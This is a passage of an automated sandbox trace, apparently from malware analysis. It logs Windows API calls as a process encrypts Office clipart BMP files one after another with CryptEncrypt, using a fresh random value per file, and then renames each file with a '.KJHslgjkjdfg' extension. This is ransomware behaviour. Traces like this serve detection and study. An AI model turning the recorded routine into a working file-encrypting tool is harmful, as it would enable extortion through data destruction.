lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.342] GetProcessHeap () returned 0x990000 [0192.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.kjhslgjkjdfg")) returned 1 [0192.345] CloseHandle (hObject=0x130) returned 1 [0192.345] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1 [0192.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.346] GetProcessHeap () returned 0x990000 [0192.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.346] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.346] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.349] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.349] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.349] GetProcessHeap () returned 0x990000 [0192.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.349] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.349] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.349] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.349] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.349] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.349] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.349] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.350] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.350] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.350] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.350] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0192.351] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0192.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.352] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.352] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.352] SetEndOfFile (hFile=0x130) returned 1 [0192.355] GetProcessHeap () returned 0x990000 [0192.355] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.355] GetProcessHeap () returned 0x990000 [0192.355] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.kjhslgjkjdfg")) returned 1 [0192.356] CloseHandle (hObject=0x130) returned 1 [0192.357] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1 [0192.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.357] GetProcessHeap () returned 0x990000 [0192.357] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.357] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.358] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.358] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.358] GetProcessHeap () returned 0x990000 [0192.358] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.358] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.358] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.358] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.360] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.360] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.360] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.361] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.361] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.361] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.361] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0192.362] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0192.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.363] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0192.363] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.363] SetEndOfFile (hFile=0x130) returned 1 [0192.366] GetProcessHeap () returned 0x990000 [0192.366] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.366] GetProcessHeap () returned 0x990000 [0192.366] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.kjhslgjkjdfg")) returned 1 [0192.367] CloseHandle (hObject=0x130) returned 1 [0192.367] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1 [0192.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.368] GetProcessHeap () returned 0x990000 [0192.368] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.368] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.368] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.368] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.371] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.371] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.371] GetProcessHeap () returned 0x990000 [0192.371] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.371] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.371] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.371] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.371] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.371] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.371] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.371] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.371] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.372] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.372] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0192.373] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0192.373] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.373] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.373] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.373] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.373] SetEndOfFile (hFile=0x130) returned 1 [0192.375] GetProcessHeap () returned 0x990000 [0192.375] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.375] GetProcessHeap () returned 0x990000 [0192.375] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.kjhslgjkjdfg")) returned 1 [0192.376] CloseHandle (hObject=0x130) returned 1 [0192.376] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1 [0192.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.378] GetProcessHeap () returned 0x990000 [0192.378] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.378] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.378] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.381] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.381] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.381] GetProcessHeap () returned 0x990000 [0192.381] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.381] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.381] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.381] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.381] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.381] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.381] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.381] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.381] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.382] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.382] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0192.383] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0192.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.383] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.384] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.384] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.384] SetEndOfFile (hFile=0x130) returned 1 [0192.387] GetProcessHeap () returned 0x990000 [0192.387] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.387] GetProcessHeap () returned 0x990000 [0192.387] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.kjhslgjkjdfg")) returned 1 [0192.388] CloseHandle (hObject=0x130) returned 1 [0192.388] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1 [0192.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.389] GetProcessHeap () returned 0x990000 [0192.389] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.389] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.389] 